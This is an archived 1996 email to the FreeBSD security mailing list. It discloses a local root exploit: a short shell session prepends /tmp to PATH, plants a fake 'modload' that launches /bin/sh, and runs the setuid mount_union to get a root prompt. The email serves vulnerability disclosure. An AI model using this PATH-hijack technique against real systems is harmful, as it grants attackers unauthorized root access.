From owner-freebsd-security  Fri May 17 00:50:41 1996
Return-Path: owner-security
Received: (from root@localhost)
          by freefall.freebsd.org (8.7.3/8.7.3) id AAA24832
          for security-outgoing; Fri, 17 May 1996 00:50:41 -0700 (PDT)
Received: from nervosa.com (root@nervosa.com [192.187.228.86])
          by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id AAA24826
          for <freebsd-security@freebsd.org>; Fri, 17 May 1996 00:50:39 -0700 (PDT)
Received: from onyx.nervosa.com (coredump@onyx.nervosa.com [10.0.0.1]) by nervosa.com (8.7.5/8.7.3) with SMTP id AAA21276; Fri, 17 May 1996 00:50:35 -0700 (PDT)
Date: Fri, 17 May 1996 00:50:35 -0700 (PDT)
From: invalid opcode <coredump@nervosa.com>
To: freebsd-security@freebsd.org
cc: jkh@time.cdrom.com
Subject: very bad
Message-ID: <Pine.BSF.3.91.960517004922.20464C-100000@onyx.nervosa.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-security@freebsd.org
X-Loop: FreeBSD.org
Precedence: bulk

Uh oh
This is valid

[coredump@onyx] ~> sh
$ export PATH=/tmp:$PATH
$ echo /bin/sh >/tmp/modload
$ chmod +x /tmp/modload 
$ mount_union /dir1 /dir2 
# 
# w


== Chris Layne ======================================== Nervosa Computing ==
== coredump@nervosa.com ================ http://www.nervosa.com/~coredump ==